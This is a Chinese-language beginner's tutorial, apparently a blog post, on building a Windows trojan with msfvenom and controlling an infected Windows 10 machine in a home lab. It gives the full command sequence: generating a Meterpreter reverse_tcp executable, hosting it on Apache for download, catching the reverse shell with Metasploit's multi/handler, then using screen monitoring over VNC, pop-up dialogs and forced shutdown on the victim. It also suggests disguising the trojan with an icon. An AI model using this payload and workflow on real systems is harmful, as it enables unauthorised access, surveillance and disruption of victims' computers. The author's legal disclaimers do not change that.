网络安全-木马入侵windows -msfvenom反弹shell(CMD)
前言
一,我也是初学者记录的笔记
二,可能有错误的地方,请谨慎
三,欢迎各路大神指教
四,任何文章仅作为学习使用
五,学习网络安全知识请勿适用于违法行为
学习网络安全知识请勿适用于违法行为
学习网络安全知识请勿适用于违法行为
学习网络安全知识请勿适用于违法行为
学习网络安全知识请勿适用于违法行为
重要的事情说几次
玩出事了,无论你做了几层NAT
几层代理,都能抓到你
相信中央相信党,犯罪没有好下场
需要做什么呢
使用kali制作木马,利用木马拿到windows主机shell(cmd)
漏洞与木马的区别在于
漏洞是某个系统某个框架,才能用
特定的环境下才可以
但是木马是全部机器都可以用
因为木马相当于软件
如果你电脑不能安装软件那你这个电脑也没啥用
制作木马
还是msf工具,漏洞框架-kali
本次攻击设备为kali,设备IP为192.168.248.136
本次被攻击设备为win10,设备IP为192.168.248.134
使用msfvenom来生成木马
└─# msfvenom
Error: No options
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
Options:
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload <value>'s standard, advanced and evasion options
-f, --format <format> Output format (use --list formats to list)
-e, --encoder <encoder> The encoder to use (use --list encoders to list)
--service-name <value> The service name to use when generating a service binary
--sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key <value> A key to be used for --encrypt
--encrypt-iv <value> An initialization vector for --encrypt
-a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
--platform <platform> The platform for --payload (use --list platforms to list)
-o, --out <path> Save the payload to a file
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name <value> Specify a custom variable name to use for certain output formats
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help Show this message
翻译
─# msfvenom公司
错误:没有选项
MsfVenom-Metasploit独立有效载荷生成器。
也是msfpayload和msfencode的替代品。
用法:/usr/bin/msfvenom[options]<var=val>
示例:/usr/bin/msfvenom-p windows/meterpreter/reverse_tcp LHOST=<IP>-f exe-o payload.exe
选项:
-l、 --list<type>列出[type]的所有模块。类型包括:有效载荷、编码器、nop、平台、arch、加密、格式、所有
-p、 --payload<payload>要使用的有效负载(--list要列出的有效负载,--list参数选项)。为自定义指定“-”或STDIN
--list options列表--payload<value>的标准、高级和回避选项
-f、 --format<format>输出格式(使用--list格式列出)
-e、 --encoder<encoder>要使用的编码器(使用--list编码器列出)
--service name<value>生成服务二进制文件时要使用的服务名称
--sec-name<value>生成大型Windows二进制文件时要使用的新节名。默认值:随机4字符字母字符串
--最小使用所有可用编码器生成最小可能的有效负载
--encrypt<value>要应用于外壳代码的加密或编码类型(使用--list encrypt to list)
--encrypt key<value>用于--encrypt的密钥
--encrypt iv<value>--encrypt的初始化向量
-a、 --arch<arch>用于--payload和--encoder的体系结构(使用--list-archs列出)
--platform<platform>--payload的平台(使用--list platforms列出)
-o、 --out<path>将有效负载保存到文件
-b、 --要避免的坏字符<list>字符:“\x00\xff”
-n、 --nopslid<length>将[length]大小的nopslide预先发送到有效负载
--pad nops使用-n<length>指定的nopsleed大小作为总有效载荷大小,自动预处理nopslee数量(nops减去有效载荷长度)
-s、 --space<length>生成的有效负载的最大大小
--编码器空间<length>编码有效载荷的最大大小(默认为-s值)
-i、 --iterations<count>编码有效负载的次数
-c、 --add code<path>指定要包含的其他win32 shellcode文件
-x、 --template<path>指定要用作模板的自定义可执行文件
-k、 --keep保留--template行为并将有效负载作为新线程注入
-v、 --var name<value>指定用于某些输出格式的自定义变量名
-t、 --timeout<second>从STDIN读取有效负载时等待的秒数(默认值为30,0表示禁用)
-h、 --help显示此消息
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.248.136 lport=1234 -f exe >muma.exe
这个解释一下
msfvenom 生成木马
-p 这个的意思是 payload,意思是攻击载荷,简单的说,生成怎么样的攻击模块
windows不用解释了吧
meterpreter/reverse_tcp 反弹shell的意思,就是提权的意思
lhost=本地IP
lport=本地端口
-f 输出格式 例如苹果的MAC你就要输出的是dmg的格式
exe是windows的软件方式
>muma.exe 生成软件为muma.exe
木马已经制作好了,那么现在需要让这个(被攻击的)去下砸,不然为什么叫木马呢,木马就是伪装成正常程序的软件,所以实战中可以这个自己加上图标什么的,装一下,不然咋下载呢
把木马放到apache下,然后windows才能访问才能下载
cp muma.exe /var/www/html/
把这个复制到网站服务器下面去
开启服务
service apache2 start
由于是学习!!!,所以没有在里面做免杀
直接放进去就会给干掉了
所以需要在受攻击是设备手动关闭防火墙
在浏览器输入
攻击机的IP/muma.txt 就会自动下载
我这里的是
192.168.248.136/muma.txt
还有个杀毒要关,忘记了
这回就可以了,然后运行起来
kali
然后进入msfconsole,监听windows
use exploit/multi/handler 绑定攻击模块
exploit是攻击模块,后面这个是他路径下的一个攻击模块
具体的msf的解释可以看这篇,也是我写的
https://blog.csdn.net/weixin_48137911/article/details/129052485?spm=1001.2014.3001.5501
set payload windows/meterpreter/reverse_tcp 使用攻击模块
set lhost 192.168.248.136 设置本机ip为攻击ip
set lport 1234 设置监听端口
然后就可以run执行了
攻击成功
开个vnc监控先
执行监控之后,在被攻击的设备上的屏幕就会自动传输过来了
shell
输入shell
成功反弹cmd,攻破系统,拿到权限
看到有乱码了
chap 65001
让他兼容适应不乱码
拿到shell之后想干啥干啥
一个小弹窗
直接跟他弹桌面了
拿到shell之后
mshta javascript:confirm(“内容”);windwos.close()
再比如
我关他的电脑shutdown /s
一分钟倒计时关机,而且不可以取消
你们爱干啥干啥哈~
我的杀毒软件
奇安信天守
下载的时候直接找出来了,也不让我下载。
所以你们平时下载的软件时候报警的那些还是看看叭~学着学着就知道的了